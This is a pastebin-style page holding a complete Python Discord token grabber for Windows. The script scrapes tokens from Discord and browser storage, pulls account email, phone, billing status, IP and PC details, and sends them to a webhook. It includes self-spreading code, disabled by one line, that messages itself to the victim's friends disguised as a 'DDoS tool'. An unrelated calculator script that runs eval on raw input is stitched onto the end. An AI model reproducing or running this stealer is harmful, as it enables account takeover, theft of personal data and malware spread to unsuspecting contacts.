Python Token grabber


SUBMITTED BY: ajstgerm821

DATE: July 8, 2021, 3:08 p.m.

UPDATED: July 8, 2021, 3:09 p.m.

FORMAT: Text only

SIZE: 8.6 kB

HITS: 563

  1. python token grabber
  2. import os
  3. if os.name != "nt":
  4. exit()
  5. from re import findall
  6. from json import loads, dumps
  7. from base64 import b64decode
  8. from subprocess import Popen, PIPE
  9. from urllib.request import Request, urlopen
  10. from threading import Thread
  11. from time import sleep
  12. from sys import argv
  13. WEBHOOK_URL = "" # Insert webhook url here
  14. LOCAL = os.getenv("LOCALAPPDATA")
  15. ROAMING = os.getenv("APPDATA")
  16. PATHS = {
  17. "Discord": ROAMING + "\\Discord",
  18. "Discord Canary": ROAMING + "\\discordcanary",
  19. "Discord PTB": ROAMING + "\\discordptb",
  20. "Google Chrome": LOCAL + "\\Google\\Chrome\\User Data\\Default",
  21. "Opera": ROAMING + "\\Opera Software\\Opera Stable",
  22. "Brave": LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
  23. "Yandex": LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default"
  24. }
  25. def getHeader(token=None, content_type="application/json"):
  26. headers = {
  27. "Content-Type": content_type,
  28. "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
  29. }
  30. if token:
  31. headers.update({"Authorization": token})
  32. return headers
  33. def getUserData(token):
  34. try:
  35. return loads(
  36. urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getHeader(token))).read().decode())
  37. except:
  38. pass
  39. def getTokenz(path):
  40. path += "\\Local Storage\\leveldb"
  41. tokens = []
  42. for file_name in os.listdir(path):
  43. if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
  44. continue
  45. for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
  46. for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
  47. for token in findall(regex, line):
  48. tokens.append(token)
  49. return tokens
  50. def whoTheFuckAmI():
  51. ip = "None"
  52. try:
  53. ip = urlopen(Request("https://ifconfig.me")).read().decode().strip()
  54. except:
  55. pass
  56. return ip
  57. def hWiD():
  58. p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
  59. return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]
  60. def getFriends(token):
  61. try:
  62. return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships",
  63. headers=getHeader(token))).read().decode())
  64. except:
  65. pass
  66. def getChat(token, uid):
  67. try:
  68. return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getHeader(token),
  69. data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]
  70. except:
  71. pass
  72. def paymentMethods(token):
  73. try:
  74. return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources",
  75. headers=getHeader(token))).read().decode())) > 0)
  76. except:
  77. pass
  78. def sendMessages(token, chat_id, form_data):
  79. try:
  80. urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getHeader(token,
  81. "multipart/form-data; boundary=---------------------------325414537030329320151394843687"),
  82. data=form_data.encode())).read().decode()
  83. except:
  84. pass
  85. def spread(token, form_data, delay):
  86. return # Remove to re-enabled (If you remove this line, malware will spread itself by sending the binary to friends.)
  87. for friend in getFriends(token):
  88. try:
  89. chat_id = getChat(token, friend["id"])
  90. sendMessages(token, chat_id, form_data)
  91. except Exception as e:
  92. pass
  93. sleep(delay)
  94. def main():
  95. cache_path = ROAMING + "\\.cache~$"
  96. prevent_spam = True
  97. self_spread = True
  98. embeds = []
  99. working = []
  100. checked = []
  101. already_cached_tokens = []
  102. working_ids = []
  103. ip = whoTheFuckAmI()
  104. pc_username = os.getenv("UserName")
  105. pc_name = os.getenv("COMPUTERNAME")
  106. user_path_name = os.getenv("userprofile").split("\\")[2]
  107. for platform, path in PATHS.items():
  108. if not os.path.exists(path):
  109. continue
  110. for token in getTokenz(path):
  111. if token in checked:
  112. continue
  113. checked.append(token)
  114. uid = None
  115. if not token.startswith("mfa."):
  116. try:
  117. uid = b64decode(token.split(".")[0].encode()).decode()
  118. except:
  119. pass
  120. if not uid or uid in working_ids:
  121. continue
  122. user_data = getUserData(token)
  123. if not user_data:
  124. continue
  125. working_ids.append(uid)
  126. working.append(token)
  127. username = user_data["username"] + "#" + str(user_data["discriminator"])
  128. user_id = user_data["id"]
  129. email = user_data.get("email")
  130. phone = user_data.get("phone")
  131. nitro = bool(user_data.get("premium_type"))
  132. billing = bool(paymentMethods(token))
  133. embed = {
  134. "color": 0x7289da,
  135. "fields": [
  136. {
  137. "name": "|Account Info|",
  138. "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',
  139. "inline": True
  140. },
  141. {
  142. "name": "|PC Info|",
  143. "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}',
  144. "inline": True
  145. },
  146. {
  147. "name": "|Token|",
  148. "value": token,
  149. "inline": False
  150. }
  151. ],
  152. "author": {
  153. "name": f"{username} ({user_id})",
  154. },
  155. "footer": {
  156. "text": f"Visit my website for more Cybersecurity contents: un5t48l3.com"
  157. }
  158. }
  159. embeds.append(embed)
  160. with open(cache_path, "a") as file:
  161. for token in checked:
  162. if not token in already_cached_tokens:
  163. file.write(token + "\n")
  164. if len(working) == 0:
  165. working.append('123')
  166. webhook = {
  167. "content": "",
  168. "embeds": embeds,
  169. "username": "Discord Token Grabber",
  170. "avatar_url": "https://mehmetcanyildiz.com/wp-content/uploads/2020/11/black.png"
  171. }
  172. try:
  173. urlopen(Request(WEBHOOK_URL, data=dumps(webhook).encode(), headers=getHeader()))
  174. except:
  175. pass
  176. if self_spread:
  177. for token in working:
  178. with open(argv[0], encoding="utf-8") as file:
  179. content = file.read()
  180. payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nDDoS tool. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'
  181. Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
  182. try:
  183. main()
  184. except Exception as e:
  185. print(e)
  186. pass
  187. # -*- coding: utf-8 -*-
  188. """
  189. Created on Mon Jul 6 23:26:25 2020
  190. @author: Avinash Ranjan
  191. """
  192. import re
  193. print("Magical Calculator")
  194. print("Type 'quit' to exit\n")
  195. previous = 0
  196. run = True
  197. def performMath():
  198. global run
  199. global previous
  200. equation = ""
  201. if previous == 0:
  202. equation = input("Enter Equation:")
  203. else:
  204. equation = input(str(previous))
  205. if equation == 'quit':
  206. print("GoodBye, Human..!")
  207. run = False
  208. else:
  209. equation = re.sub('[a-zA-Z,:()"{}"]', '', equation)
  210. if previous == 0:
  211. previous = eval(equation)
  212. else:
  213. previous = eval(str(equation) + equation)
  214. while run:
  215. performMath()

comments powered by Disqus